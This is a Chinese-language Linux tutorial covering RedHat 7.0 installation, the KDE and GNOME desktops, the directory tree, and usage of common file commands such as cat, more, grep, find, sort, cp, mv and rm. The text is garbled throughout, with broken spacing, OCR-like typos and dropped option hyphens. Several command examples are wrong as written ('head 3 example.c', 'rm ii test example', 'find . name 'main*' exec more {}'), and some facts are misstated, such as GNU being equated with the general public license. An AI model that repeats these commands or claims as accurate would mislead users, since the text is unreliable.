1）LINUX 用户
个人用户：即业余用户，不了解UNIX，潜在用户群。
专业用户：大多UNIX使用者，伸缩性大，有经验的管理员原意用。
商业用户：大量的ISP和ICP，安全性，可靠性，免费性等。
2）LINUX 功能
文件和打印服务：
数据库服务：MYSQL ,ORACLE等。
网络服务:WWW ,FTP,EMAIL ,NNTP等。
3）LINUX 缺陷
中文处理：缺少全面汉化和内核汉化
应用程序：emacs,gmid字图处理不如word,photoshop强大。
安装，操作，配置易用性不如windows.
个人用户：注重LINUX 应用。
商业用户：无一成熟的双机热备份系统。
C. 未来
软件按提供方式和是否盈利分为；商业软件，共享软件，自由软件
1） 商业软件：开发出售，提供技术支持，用户只有使用权不得修改和扩散。
2） 共享软件：开发者提供免费使用，升级，用户只有使用权不得修改和扩散。
3） 自由软件：开发者使用所有源码，用户使用修改，并公开代码。
二.安装REDHAT7.0
1.CMOS设置
将ANTIVIRUS防止病毒写入主引导区关闭,防止安装时死机.
将PNPBIOS即插即用关闭,否则无法安装网卡,声卡.
将启动顺序改为A:引导.
2. 制作引导盘
E:\>CD DOSUTITLS
E:\DOSUTITLS\>RAWRITE
.................................................:C:\IMAGES\BOOT.IMG
.................................................:A:
.................................................:ENTER
3. 引导盘引导,选择图形安装
4. 鼠标键盘选择默认
5. CUSTOM手工安装
6. 硬盘分区
A.分区原理
所谓分区，就是硬盘上建立来用作单独存储区域的部分，它分为主分区和扩展分区。主分区用来存放操作系统的引导记录（在该主分区的第一扇区）和操作系统文件；扩展分区一般用来存放数据和应用程序。
一台机器无论挂几块硬盘，每块硬盘有而且必须有一个主分区；每块硬盘的扩展分区只能有一个，不能有多个，逻辑分区可以有多个。
B．分区结构
1)．分区类型
EXT2
2)．分区方法及容量
可以FDISK或直接用LINUX分区工具或用DISKMAN这小DOS工具
D.分区步骤
SWAP分区 2---4倍内存大小.
NACTIVE 分区 800M ----2G. 根分区 /
7. LILO (LINUX LOADER)安装位置 MBR
8. 检测网卡配置网络;TCP/IP协议,IP地址,子网掩码,DNS,计算机名.
9. 选择软件包:
A.printesupport 打印服务器组件
B.xwindows桌面系统
C.GNOMEGNOME桌面
D.KDEKDE桌面
E.mail\www\newstools工具组件
F.dos/windows c onectivitydos/windows 模拟器
G.filemanagers文件管理器
H.Graphies Manipulation图形处理组件
J.c onsole games控制台游戏
K.xgamex游戏
L.c onsole mulimedia 控制台多媒体支持
M.network workstation网络支持组件
N.dialup workstation拨号网络组件
O.news server新闻组服务器组件
P.nfs server网络文件系统组件
Q.smbsamba服务器组件
R.ipx/netwareIpx模拟器
S.ftp serverFTP服务器
T.web server WWW服务器
U.dns serverDNS服务器
V.network mangerment format网络管理组件
W.emacs文字处理
X.c developmentC 编程组件
Y.gnome developmentGNOME 编程组件
Z.kernel内核
10．检测显卡：选择 custom text
11．选择登陆方式 分辨率800*600
12．输入ROOT 登陆密码
13．开始安装
14．制作启动盘
15．重新启动
三．开关机操作
halt 关机
reboot 重起
root 登陆
startx 进入图形界面

第二讲: LINUX桌面系统
一． X桌面系统
1． KDE桌面
全新桌面系统整合大量UNIX工作站程序，集窗口管理，文件管理，面板控制中心于一身，不同于以上环境，优势在于控制的互操作性。
2． GNOME桌面
基于GNU网络对象模型，GNU计划目的开发一个完全自由的强大操作系统，一个标准的GNU计划下的桌面环境，有好的图形界面。
［GNU］＝general public license 通用公共许可证 ：不增加附加费用下得到源码，保证基本费用。
［FSF］＝free software foundation 自由软件基金会：不是免费而是自由用户可以修改发布软件。
二．KDE桌面系统
1． KDE菜单
Logout 注销
Lockscreen锁屏
Panel-c onfigure控制任务栏
Disknavigator-cdrom光盘目录
Ked文件管理器
Root磁盘目录
Kde c ontrol center -kde控制台
Redhat红帽菜单
Programes程序菜单
Utilities工具
System系统
Settings设置
Multimedia多媒体
Internet网络
Application应用程序
2． KDE右键
New新建文件文件夹
Bookmarks 书签
Help on desktop桌面帮助
Exeacte command执行命令
Display properties显示属性
Refresh desktop刷新桌面
Unclutter windows排列窗口
Caslade windows层叠窗口
Arrange Ic ons排列图标
Lockscreen锁屏
Logout退出
3． KDE任务栏
默认：ked,root,disk,tools,help,terminal,text,email,cdplay,netscape,sound,lock
4．RedHat――system---
About myself个人信息
Change passwd修改密码
c onfigura update Agent配置升级代理
c ontrol panel控制面板
Desktop switching tool桌面交换工具
Diak management磁盘管理器
Isdn -c onfigIsdn配置
Kernelcfg内核配置
Linuxc onf常规配置
Networkc onfiguration网络配置
Printer tool打印工具
RHN Registration注册
Text mode toolmenu文本菜单
Time tool时间工具
Updat agent刷新代理
三.GNOME桌面系统
1． Gnome菜单
Program程序
Favorites收藏夹
Applets小程序
KdemenuKDE菜单
Run运行
Panel面板
Lockscreen锁屏
Logout退出
2． Gnome右键
New新建目标链接表格
Arrange Ic ons排列图标
Tidy Ic ons对齐图标
Creat new windows创建新窗口
Rescan desktop directory扫描桌面图标
Rescan devices扫描设备
Recreate default Ic ons 创建默认图标
c onfigure background Image设置桌面背景
Desktop properties桌面属性


LINUX目录系统和命令

作者:小龙

1． 文件名
要求：A.长度：最大256个字符，与UNIX兼容建议14个字符以下。
B．组成：通常由字母，数字，点号，下划线，减号等。
区分大小写：LINUX命令都用小写。
［注］为了便于管理和识别，用户可以把扩展名作为文件名的一部分。圆点用于区分 文件名和扩展名。扩展名对于将文件分类是十分有用的。用户可能对某些大众 已接纳的标准扩展名比较熟悉，例如，C语言编写的源代码文件总是具有C的扩 展名。用户可以根据自己的需要，随意加入自己的文件扩展名。以下例子都是 有效的Linux文件名。

2． 路径名
A．绝对路径：以根目录开始。
B．相对路径：以当前目录开始。
C．。和。。 ：。当前目录 。。上级目录。
［注］的。用户在对文件进行访问时，要给出文件所在的路 径。路径又分相对路径和绝对路径。绝对路径是指从“根”开始的路径，也称 为完全路径；相对路径是从用户工作目录开始的路径。
应该注意到，在树型目录结构中到某一确定文件的绝对路径和相对路径均只有 一条。绝对路径是确定不变的，而相对路径则随着用户工作目录的变化而不断 变化。用户要访问一个文件时，可以通过路径名来引用。并且可以根据要访问的文件 与用户工作目录的相对位置来引用它，而不需要列出这个文件的完整的路径名。
例如，用户 WANG 有一个名为 class 的目录，该目录中有两个文件∶ software 和 hardware。 若用户 WANG 想显示出其 class 目录中的名为 software 的文件， 可以使用下列命令∶
/home/WANG$ cat /home/WANG/class/software_1
用户也可以根据文件softwarei_1与当前工作目录的相对位置来引用该文件。这 时命令为∶
/home/WANG$ cat class/software_1

3．树型目录结构
在计算机系统中存有大量的文件，如何有效的组织与管理它们，并为用户提供 一个使用方便的接口是文件系统的一大任务。Linux系统以文件目录的方式来 组织和管理系统中的所有文件。所谓文件目录就是将所有文件的说明信息采用 树型结构组织起来,即我们常说的目录。也就是说，整个文件系统有一个“根” （root），然后在根上分“杈”（directory），任何一个分杈上都可以再分杈 ，杈上也可以长出“叶子”。“根”和“杈”在Linux中被称为是“目录”或 "文件夹”。而“叶子”则是一个个的文件。实践证明，此种结构的文件系统 效率比较高。
如前所述，目录也是一种类型的文件。Linux系统通过目录将系统中所有的文件 分级、分层组织在一起，形成了Linux文件系统的树型层次结构。以根目录为起 点，所有其他的目录都由根目录派生而来。一个Linux系统的树型目录主要的部分，结 构如下所示。用户可以浏览整个系统，可以进入任何一个已授权进入的目录，访 问那里的文件。
/----------lib
|--------dev
|--------etc
|--------home------larry
| `----sam
|--------proc
|--------tmp
`--------usr---------X11R6
|-------bin
|-------etc
|-------include
|-------lib
|-------local-------bin
| |-----etc
| `-----lib
|-------man
|-------src---------linux
`-------tmp

上图中，我们只给出了目录结点名称，而没有给出各个目录“之下”的每一个 文件。实际上，各个目录结点“之下”都会有一些文件和子目录。并且，系统 在建立每一个目录时，都会自动为它设定两个目录文件，一个是“."，代表 该目录自己，另一个是“.."，代表该目录的父目录，对于根目录，“."和 ".."都代表其自己。
进入：KDE――NAVIGATOR――ROOT――OPENFOLDER
root超级用户目录 包括桌面管理等
home用户目录 包括用户信息等
bin 执行目录 存放可执行文件 包括常用命令
sbin执行目录 存放不提供给用户使用的命令
boot引导目录 存放引导系统时使用的各种文件
etc配置目录 系统配置时使用
dev设备目录 通过它访问外设
mnt安装目录 管理员设备临时安装点
opt安装目录 管理员软件包放置点
lib库目录 命令执行时使用
usr共享目录 存放系统中所有用户的共享文件
var数据目录 系统运行时要修改数据
tmp 临时目录
proc虚拟目录 虚构文件系统内存产生不存硬盘
lost+fount空目录

LINUX常用命令
LINUX的命令很多，也许这里面我会忘掉些，大家想知道什么命令，下面没有的话就提出。我会补上。

显示文件内容命令
用户需要查看一个文件的内容时，可以根据显示要求的不同选用以下的命令。

cat命令

功能1∶在标准输出上显示文件。
语法∶cat [ 选项 ] 文件
说明∶该命令功能之一是用来显示文件。它依次读取其后所指文件的内容并将
其输出到标准输出。
cat命令中各个选项的含义为∶

v 用一种特殊形式显示控制字符， LFD 与 TAB 除外。 加了 v 选项后， T 和 E 选项将起作用。其中∶
T 将 TAB 显示为“ I "。该选项需要与 v 选项一起使用。即如果 没有使用 v 选项，则这个选项将被忽略。
E 在每行的末尾显示一个＄符。该选项需要与 v 选项一起使用。
u 输出不经过缓冲区。
A 等于vET。
t 等于vT。
e 等于vE。
例1∶$ cat example.txt
则在屏幕上显示出example.txt 文件的内容。

例2∶$ cat -A exam2.txt
则在屏幕上显示出exam2.txt 文件的内容，而且如果文件中含有特殊字符的话，一 并显示。

功能2∶连接两个或多个文件
说明∶该命令功能之二是用来将两个或多个文件连接起来。

例3∶$ cat file1 file2 > file3

这样就把文件filel和文件file2的内容合并起来，放入文件file3中。（此时在 屏幕上并不能直接看到该命令执行后的结果。若想看到连接后的文件内容，可 以再使用 "cat file3"。）

需要说明的是，当文件内容过多时，就带来一个问题，因为文本在屏幕上迅速 地闪过，用户来不及看清其内容。因此，当文件内容较大时，一般可用more等 命令分屏显示，以免因屏幕滚动太快而无法看清。

more命令

功能∶在终端屏幕按屏显示文本文件。 语法∶ more [ 选项 ] 文件 说明∶ 该命令一次显示一屏文本，显示满之后，停下来，并在终端
底部打印出More，系统还将同时显示出已显示文本占全部文本的百
分比，若要继续显示，按回车或空格键即可。

more命令中各个选项的含义为∶

p 显示下一屏之前先清屏。
c 作用同p基本一样。
d 在每屏的底部显示更友好的提示信息∶
More（XX%）[Press space to c ontiune ,'q' to quit . ]
而且若用户输入了—个错误命令则显示出错信息，而不是简单地鸣响终端。

l 不处理Ctrl+l（换页符）。如果没有给出这个选项，则more命 令在显示了一个包含有Ctrl+l字符的行后将暂停显示，并等待接收命令。
s 文件中连续的空白行压缩成一个空白行显示。
执行中的命令

在more命令的执行过程中，用户可以使用more自己的一系列命令动态 地根据需要来选择显示的部分。more在显示完一屏内容之后，将停下来等待用 户输入某个命令。下表列出了more指令在执行中用到的一些常用命令，而有关 这些命令的完整内容，可以在more执行时按h查看。这些命令的执行方法是先输 入i（行数）的值，再打所要的命令，不然它会以预设值来执行命令。

i空格 若指定i，显示下面的i行；否则，显示下一整屏。
i回车 若指定i，显示下面的i行；否则，显示下一行。
iD 按Ctrl＋D，若指定i，显示下面的i行；否则，往下显示半屏（一般为 11 行）。
id 同iD 。
iz 同“i空格”类似，只是i将成为以下每个满屏的缺省行数。
is 跳过下面的i行再显示一个整屏。预设值为1。
if 跳过下面的i屏再显示一个整屏。预设值为1。
iB 按Ctrl＋B，往回跳过（即向文件首回跳）i屏，再显示一个满 屏。预设值为1。
b 与iB相同。
’ 回到上次搜索的地方
q或Q 退出more。
＝ 显示当前行号。
v 在当前行启动/usr/bin/vi对之进行编辑修改。
h 显示各命令的帮助信息。
i/pattern 查找匹配该模式的第i行。预设值为1。
in 查找符合表达式的倒数i行。预设值为1。
!cmd或 ∶!cmd在子shell中执行cmd命令。
i∶n 在命令行中指定了多个文件名的情况下，可用此命令使之显示第i个文件，若i过大（出界），则显示文件名列表中的最后一个文件。
i∶p 在命令行中指定了多个文件名的情况下，可用此命令使之显示倒数第i个文件。若i过大（出界），则显示第一个文件。
i∶f 显示当前文件的文件名和行数。
例1∶用分页的方式显示一个文件的内容。

$ more example1.c
/*-------------------------------------------*/
/* example1.c */
/*-------------------------------------------*/
#define _MAIN_C_
#inc1ude < BBS. h >
jmp_buf byebye;
int talkrequest=NA;
static uschar Enter_uflag i
#ifdef SHOW_IDLE_TIME
--More- （3%）

例2∶显示一个文件的内容，但显示之前先清屏，并且在显示器的最下方显示完整的百分比。

$ more dc example1.c
执行该命令后，先清屏，然后显示文件example.c的内容。
/*-------------------------------------------*/
/* example1.c */
/*-------------------------------------------*/
/* author f opus.BBS@BBS.cs.nthu.edu.tw */
/* target f BBS main/login/top-menu routines */
/* create f 99/10/23 */
/* update f 99/12/15 */
/*-------------------------------------------*/
#define _MAIN_C_
#inc1ude < BBS. h >
jmp_buf byebye;
int talkrequest=NA;
static uschar Enter_uflag i
#ifdef SHOW_IDLE_TIME
char fromhost（ ）;
--More- （3%）[Press space to c ontinue , 'q' to quit .]

例3∶显示一个文件的内容，要求每十行显示一次，且显示之前先清屏。

$ more c 10 example1.c
执行该命令后，先清屏，然后将以每十行每十行的方式
显示文件example.c的内容。
/*-----------------------------------*/
/* example1.c */
/*-----------------------------------*/
/* create f 99/10/23 */
/* update f 99/12/15 */
/*-----------------------------------*/
#define _MAIN_C_
inc1ude < BBS. h >
--More- （3%）

less命令

less命令的功能几乎和more命令一样，也是用来按页显示文件，不同 之处在于less命令在显示文件时允许用户既可以向前又可以向后翻阅文件。 less命令的使用与more命令类似，在此就不赘述了，用户如有不清楚的地方可 直接查看联机帮助。用less命令显示文件时，若需要在文件中往前移动， 按b键；要移动到用文件的百分比表示的某位置，则指定一个0到100之间 的数，并按p即可。

例如，需要按页显示test文件

$ less test

head命令

如果用户希望查看一个文件究竟保存的是什么内容，可以只查看文件的头几 行，而不必浏览整个文件。用 head 命令只显示文件或标准输入的头几行。

语法∶head [n ] 文件

功能∶显示指定文件的前若干行。

说明∶该命令显示每个指定文件的前面 n 行。如果没有给出 n 值，缺省设置为 10。如果没有指定文件，head 就从标准输人读取。例如显示文件 example.c 的前3行。

$ head 3 example.c
/*-------------------------------------------*/
/* example1.c */
/*-------------------------------------------*/

tail命令

同样，如果用户想查看文件的尾部，可以使用tail命令。

语法∶tail [+ / num ] [参数] 文件
说明∶该命令显示一个文件的指定内容。它把指定文件的指定显示范围内的内 容显示在标准输出上。如果没有给定文件名，则使用标准输入文件。
tail命令中各个选项的含义为∶
＋num 从第num行以后开始显示。
num 从距文件尾num行处开始显示。如果省略num参数，系统默认值为10。
l 以文本行为num的计数单位。与参数选项＋num或num选项同时使用时， num 表示要显示的文本行行数。
c 以字节为num的计数单位。与参数选项＋num或num选项同时使用时， num 表示要显示的字符数。（l、c选项可以省略，系统默认值为l，即按行计数）。
例如∶

$ tail -4 example

将显示文件example的最后4行。 od命令

用户通常使用od命令查看特殊格式的文件内容。通过指定该命令的不 同选项可以以十进制、八进制、十六进制和ASCII码来显示文件。

语法∶od [选项] 文件…
命令中各选项的含义∶

A 指定地址基数，包括∶
d 十进制
o 八进制（系统默认值）
x 十六进制
n 不打印位移值
t 指定数据的显示格式，主要的参数有∶
c ASCII字符或反斜杠序列
d 有符号十进制数
f 浮点数
o 八进制（系统默认值为02）
u 无符号十进制数
x 十六进制数
除了选项c以外的其他选项后面都可以跟一个十进制数n，指定每个显 示值所包含的字节数。说明∶od命令系统默认的显示方式是八进制， 这也是该命令的名称由来（Octal Dump）。但这不是最有用的显示方 式，用ASCII码和十六进制组合的方式能提供更有价值的信息输出。

文件内容查询命令
grep、fgrep和egrep命令

这组命令以指定模式搜索文件，并通知用户在什么文件中搜索到与指 定的模式匹配的字符串，并打印出所有包含该字符串的文本行，在该 文本行的最前面是该行所在的文件名。grep命令一次只能搜索一个指 定的模式；egrep命令检索扩展的正则表达式（包括表达式组和可选项） ；fgrep命令检索固定字符串，它不识别正则表达式，是快速搜索命令。 这组命令在搜索与定位文件中特定的主题方面非常有用。要搜索的模 式可以被认为是一些关键词，您可以用它们来搜索文件中包含的这些 关键词。编写程序时，可以用它来寻找某一个函数，或是相关的词组。 grep命令的搜索功能比fgrep强大，因为grep命令的搜索模式可以是 正则表达式，而fgrep却不能。

该组命令中的每一个命令都有一组选项，利用这些选项可以改变其输出方式。 例如，可以在搜索到的文本行上加入行号，或者只输出文本行的行号， 或者输出所有与搜索模式不匹配的文本行，或只简单地输出已搜索到 指定模式的文件名，并且可以指定在查找模式时忽略大小写。

这组命令在指定的输入文件中查找与模式匹配的行。如果没有指定文件，则从 标准输入中读取。正常情况下，每个匹配的行被显示到标准输出。如果要 查找的文件是多个，则在每一行输出之前加上文件名。

语法∶

grep [选项] [查找模式] [文件名1，文件名2，……]
egrep [选项] [查找模式] [文件名1，文件名2，……]
fgrep [选项] [查找模式] [文件名1，文件名2，……]

这组命令各选项的含义为∶

E 每个模式作为一个扩展的正则表达式对待。
F 每个模式作为一组固定字符串对待（以新行分隔），而不作为正则表达式。
b 在输出的每一行前显示包含匹配字符串的行在文件中的字节偏移量。
c 只显示匹配行的数量。
i 比较时不区分大小写。
h 在查找多个文件时，指示grep不要将文件名加入到输出之前。
l 显示首次匹配串所在的文件名并用换行符将其隔开。当在某文件中多次出现匹配串时，不重复显示此文件名。
n 在输出前加上匹配串所在行的行号（文件首行行号为1）。
v 只显示不包含匹配串的行。
x 只显示整行严格匹配的行。
e expression 指定检索使用的模式。用于防止以“-"开头的模式被解释为命令选项。
f expfile 从expfile文件中获取要搜索的模式，一个模式占一行。
对该组命令的使用还需注意以下方面∶

在命令后键入搜索的模式，再键入要搜索的文件。其中，文件名列表中也可以 使用特殊字符，如“*"等，用来生成文件名列表。如果想在搜索的模式中包 含有空格的字符串，可以用单引号把要搜索的模式括起来，用来表明搜索的模 式是由包含空格的字符串组成。否则，Shell将把空格认为是命令行参数的定 界符，而grep命令将把搜索模式中的单词解释为文件名列表中的一部分。在下 面的例子中，grep命令在文件example中搜索模式“text file"。

$ grep 'text file' example

用户可以在命令行上用Shell特殊字符来生成将要搜索的文件名列表。在下面的 例子中，特殊字符“*"用来生成一个文件名列表，该列表包含当前目录下所有 的文件。该命令将搜索出当前目录下所有文件中与模式匹配的行。

$ grep data *

特殊字符在搜索一组指定的文件时非常有用。例如，如果想搜索所有的C程序源 文件中特定的模式，您可以用“*.c"来指定文件名列表。假设用户的 C程序中 包含一些不必要的转向语句（goto语句），想要找到这些语句，可以用如下的 命令来搜索并显示所有包含goto语句的代码行∶

$ grep goto *.c

用户可以在命令行上键入搜索模式，也可以使用-f选项从指定文件中读取要搜 索的模式。在文件中，每个搜索模式占一行。如果经常要搜索一组常见字符串 时，这个功能非常有用。在下面的例子中，用户要在文件exam中搜索字符串 "editor"和 "create"，就把要搜索的模式放置在文件mypats中，然后， grep命令从文件mypats中读取要搜索的模式。

$ cat mypats
editor
create
$ grep -f mypats exam
文件查找命令
find命令

功能∶在目录结构中搜索文件，并执行指定的操作。此命令提供了相
当多的查找条件，功能很强大。
语法∶find 起始目录 寻找条件 操作
说明∶find命令从指定的起始目录开始，递归地搜索其各个子目录，
查找满足寻找条件的文件并对之采取相关的操作。

该命令提供的寻找条件可以是一个用逻辑运算符not、and、or组成的复合条 件。逻辑运算符and、or、not的含义为∶

1.
and∶逻辑与，在命令中用“-a"表示，是系统缺省的选项，表示只有当所给的条件都满足时，寻找条件才算满足。例如∶
$ find -name 'tmp' -xtype c -user 'inin'

该命令寻找三个给定条件都满足的所有文件。

2.
or∶逻辑或，在命令中用“-o"表示。该运算符表示只要所给的条件中有一个满足时，寻找条件就算满足。例如∶
$ find -name 'tmp' -o -name 'mina*'

该命令查询文件名为’tmp'或是匹配’mina*'的所有文件。

3.
not∶逻辑非，在命令中用“！”表示。该运算符表示查找不满足所给条件的文件。例如∶
$ find ! -name 'tmp'

该命令查询文件名不是’tmp'的所有文件。需要说明的是∶当使用很多的逻辑 选项时，可以用括号把这些选项括起来。为了避免Shell本身对括号引起误解， 在括号前需要加转义字符“\"来去除括号的意义。

例∶\$ find \(-name 'tmp' -xtype c -user 'inin'i\)

寻找条件有以下选项∶

首先，下列各个选项中的n值可以有三种输入方式，
假设n为20，则∶
+20 表示20以后（21，22，23等）
-20 表示20以前（19，18，17等）
20 表示正好是20

1.
以名称和文件属性查找。
name '字串’查找文件名匹配所给字串的所有文件，字串内可用通 配符*、?、

。lname '字串’查找文件名匹配所给字串的所有 符号链接文件，字串内可用通配符*、?、

。
-gid n查找属于ID号为n的用户组的所有文件。
-uid n查找属于ID号为n的用户的所有文件。
-group '字串’查找属于用户组名为所给字串的所有的文件。
-user '字串’查找属于用户名为所给字串的所有的文件。
-empty查找大小为0的目录或文件。
-path '字串’查找路径名匹配所给字串的所有文件，字串内可用通配符*、?、[ ]。
-perm 权限查找具有指定权限的文件和目录，权限的表示可以如 711, 644。
-size n[bckw]查找指定文件大小的文件，n后面的字符表示单位，缺省为b，代表512字节的块。
-type x查找类型为x的文件，x为下列字符之一∶
b 块设备文件
c 字符设备文件
d 目录文件
p 命名管道（FIFO）
f 普通文件
l 符号链接文件（symbolic links）
s socket文件
-xtype x与-type基本相同，但只查找符号链接文件。

2.
以时间为条件查找
amin n 查找n分钟以前被访问过的所有文件。
atime n 查找n天以前被访问过的所有文件。
cmin n 查找n分钟以前文件状态被修改过的所有文件。
ctime n 查找n天以前文件状态被修改过的所有文件。
mmin n 查找n分钟以前文件内容被修改过的所有文件。
mtime n 查找n天以前文件内容被修改过的所有文件。

3.
可执行的操作

exec 命令名称 对符合条件的文件执行所给的Linux 命令，而不询问用户是否需要执行该命令。表示命令的参 数即为所找到的文件；命令的末尾必须以“ ；”结束。
ok 命令名称 对符合条件的文件执行所给的Linux 命令，与exec不同的是，它会询问用户是否需要执行该命令。
ls 详细列出所找到的所有文件。
fprintf 文件名将找到的文件名写入指定文件。
print 在标准输出设备上显示查找出的文件名。
printf 格式格式的写法请参考有关C语言的书。
例1∶查找当前目录中所有以main开头的文件，并显示这些文件的内容。

$ find . name 'main*' exec more {} \;

例2∶删除当前目录下所有一周之内没有被访问过的a .out或*.o文件。

$ find . \（name a.out o name '*.o'\）\
> atime +7 exec rm {} \;

locate命令 locate命令用于查找文件，它比find命令的搜索速度快，它需要一个 数据库，这个数据库由每天的例行工作（crontab）程序来建立。当我 们建立好这个数据库后，就可以方便地来搜寻所需文件了。

该命令的一般形式为∶

locate 相关字
文本处理命令
Sort命令

sort命令的功能是对文件中的各行进行排序。sort命令有许多非常实 用的选项，这些选项最初是用来对数据库格式的文件内容进行各种排序 操作的。实际上，sort命令可以被认为是一个非常强大的数据管理工具， 用来管理内容类似数据库记录的文件。

Sort命令将逐行对文件中的内容进行排序，如果两行的首字符相同，该 命令将继续比较这两行的下一字符，如果还相同，将继续进行比较。

语法∶

sort [选项] 文件

说明∶sort命令对指定文件中所有的行进行排序，并将结果显示在标准输出 上。如不指定输入文件或使用“”，则表示排序内容来自标准输入。 sort排序是根据从输入行抽取的一个或多个关键字进行比较来完成的。排序关 键字定义了用来排序的最小的字符序列。缺省情况下以整行为关键字按 ASCII字符顺序进行排序。

改变缺省设置的选项主要有∶

m 若给定文件已排好序，合并文件。
c 检查给定文件是否已排好序，如果它们没有都排好序，则打印一个出错信息，并以状态值1退出。
u 对排序后认为相同的行只留其中一行。
o 输出文件将排序输出写到输出文件中而不是标准输出，如果输 出文件是输入文件之一，sort先将该文件的内容写入一个临时文件， 然后再排序和写输出结果。
改变缺省排序规则的选项主要有∶

d 按字典顺序排序，比较时仅字母、数字、空格和制表符有意义。
f 将小写字母与大写字母同等对待。
I 忽略非打印字符。
M 作为月份比较∶“JAN""FEB""DEC"。
r 按逆序输出排序结果。
＋posl pos2 指定一个或几个字段作为排序关键字，字段位置从posl开始，到pos2为止（包括posl，不包括pos2）。如不指定pos2，则关键字为从posl到行尾。字段和字符的位置从0开始。
b 在每行中寻找排序关键字时忽略前导的空白（空格和制表符）。
t separator指定字符separator作为字段分隔符。
uniq命令

文件经过处理后在它的输出文件中可能会出现重复的行。例如，使用 cat命令将两个文件合并后，再使用sort命令进行排序，就可能出现重 复行。这时可以用uniq命令将这些重复行从输出文件中删除，只留下 每条记录的唯一样本。

语法∶uniq [选项] 文件

说明∶这个命令读取输入文件，并比较相邻的行。在正常情况下，第二个及以 后更多个重复行将被删去，行比较是根据所用字符集的排序序列进行的。 该命令加工后的结果写到输出文件中。输入文件和输出文件必须不同。 如果输入文件用“”表示，则从标准输入读取。 该命令各选项含义如下∶

c 显示输出中，在每行行首加上本行在文件中出现的次数。它可 取代u和d选项。
d 只显示重复行。
u 只显示文件中不重复的各行。
n 前n个字段与每个字段前的空白一起被忽略。一个字段是一个 非空格、非制表符的字符串，彼此由制表符和空格隔开（字段从0开始编号）。
+n 前n个字符被忽略，之前的字符被跳过（字符从0开始编号）。
f n与n相同，这里n是字段数。
s n与＋n相同，这里n是字符数。
统计文件大小命令
wc命令

wc命令的功能为统计指定文件中的字节数、字数、行数, 并将统计结 果显示输出。

语法∶wc [选项] 文件…

说明∶该命令统计给定文件中的字节数、字数、行数。如果没有给出文件名， 则从标准输入读取。wc同时也给出所有指定文件的总统计数。字是由空格字 符区分开的最大字符串。

该命令各选项含义如下∶

c 统计字节数。
l 统计行数。
w 统计字数。
这些选项可以组合使用。
文件比较命令
这组命令可以用来比较两个文件内容的差别。

Diff命令 该命令的功能为逐行比较两个文本文件，列出其不同之处。它比comm 命令完成更复杂的检查。它对给出的文件进行系统的检查，并显示出两 个文件中所有不同的行，不要求事先对文件进行排序。

语法∶diff [选项] file1 file2

说明∶该命令告诉用户，为了使两个文件 file1 和 file2 一致，需要修改它们的 哪些行。如果用“”表示 file1 或 fiie2， 则表示标准输入。如果 file1 或 file2 是目录，那么 diff 将使用该目录中的同名文件进行比较。例如∶

diff /usr/xu mine

diff各选项的含义如下∶

b 忽略行尾的空格，而字符串中的一个或多个空格符都视为相等。 如How are you与How are you被视为相同的字符串。
c 采用上下文输出格式（提供三行上下文）。
C n采用上下文输出格式（提供n行上下文）。
e 产生一个合法的ed脚本作为输出。
r 当file1和file2是目录时，递归作用到各文件和目录上。
文件的复制、删除和移动命令
cp命令

该命令的功能是将给出的文件或目录拷贝到另一文件或目录中，就如 同DOS下的copy命令一样，功能非常强大。

语法∶ cp [选项] 源文件或目录 目标文件或目录

说明∶该命令把指定的源文件复制到目标文件或把多个源文件复制到目标目录中。

该命令的各选项含义如下∶

a 该选项通常在拷贝目录时使用。它保留链接、文件属性，并递归地拷 贝目录，其作用等于dpR选项的组合。
d 拷贝时保留链接。
f 删除已经存在的目标文件而不提示。
i 和f选项相反，在覆盖目标文件之前将给出提示要求用户确认。回答y 时目标文件将被覆盖，是交互式拷贝。
p 此时cp除复制源文件的内容外，还将把其修改时间和访问权限也复制 到新文件中。
r 若给出的源文件是一目录文件，此时cp将递归复制该目录下所有的子 目录和文件。此时目标文件必须为一个目录名。
l 不作拷贝，只是链接文件。
mv命令
用户可以使用mv命令来为文件或目录改名或将文件由一个目录移入另 一个目录中。该命令如同DOS下的ren和move的组合。

语法∶mv [选项] 源文件或目录 目标文件或目录

说明∶视mv命令中第二个参数类型的不同（是目标文件还是目标目录），mv命 令将文件重命名或将其移至一个新的目录中。当第二个参数类型是文件时，mv 命令完成文件重命名，此时，源文件只能有一个（也可以是源目录名）， 它将所给的源文件或目录重命名为给定的目标文件名。当第二个参数是已存在 的目录名称时，源文件或目录参数可以有多个，mv命令将各参数指定的源文件 均移至目标目录中。在跨文件系统移动文件时，mv先拷贝，再将原有文件删除 ，而链至该文件的链接也将丢失。命令中各选项的含义为∶

I 交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖，此时 系统询问是否重写，要求用户回答y或n，这样可以避免误覆盖文件。
f 禁止交互操作。在mv操作要覆盖某已有的目标文件时不给任何指示， 指定此选项后，i选项将不再起作用。
需要注意的是，mv与cp的结果不同。mv好象文件“搬家”，文件个数并末增 加，而cp对文件进行复制，文件个数增加了。

rm命令

在linux中创建文件很容易，系统中随时会有文件变得过时且毫无用 处。用户可以用rm命令将其删除。该命令的功能为删除一个目录中的一个 或多个文件或目录，它也可以将某个目录及其下的所有文件及子目录均删除。 对于链接文件，只是删除了链接，原有文件均保持不变。

rm命令的一般形式为∶

rm [选项] 文件…

如果没有使用r选项，则rm不会删除目录。 该命令的各选项含义如下∶

f 忽略不存在的文件，从不给出提示。
r 指示rm将参数中列出的全部目录和子目录均递归地删除。
i 进行交互式删除。
使用rm命令要格外小心。因为一旦一个文件被删除，它是不能被恢复的。例 如，用户在输入cp，mv或其他命令时，不小心误输入了rm命令，当用户按了 回车键并认识到自己的错误时，已经太晚了，文件已经没有了。为了防止此 种情况的发生，可以使用rm命令中的 i选项来确认要删除的每个文件。如果 用户输入y，文件将被删除。如果输入任何其他东西，文件将被保留。在下 一个例子中，用户要删除文件test和example。然后会被要求对每个文件进行 确认。用户最终决定删除example文件，保留test文件。

$ rm ii test example
Remove test ?n
Remove example ?y
$
文件链接命令
ln命令

该命令在文件之间创建链接。这种操作实际上是给系统中已有的某个 文件指定另外一个可用于访问它的名称。对于这个新的文件名，我们可以为 之指定不同的访问权限，以控制对信息的共享和安全性的问题。 如果链接指向目录，用户就可以利用该链接直接进入被链接的目录而不用打一 大堆的路径名。而且，即使我们删除这个链接，也不会破坏原来的目录。

语法∶
ln [选项] 目标 [链接名]
ln [选项] 目标 目录
链接有两种，一种被称为硬链接（Hard Link），另一种被称为符号链接 （Symbolic Link）。建立硬链接时，链接文件和被链接文件必须位于同一个 文件系统中，并且不能建立指向目录的硬链接。而对符号链接，则不存在 这个问题。默认情况下，ln产生硬链接。

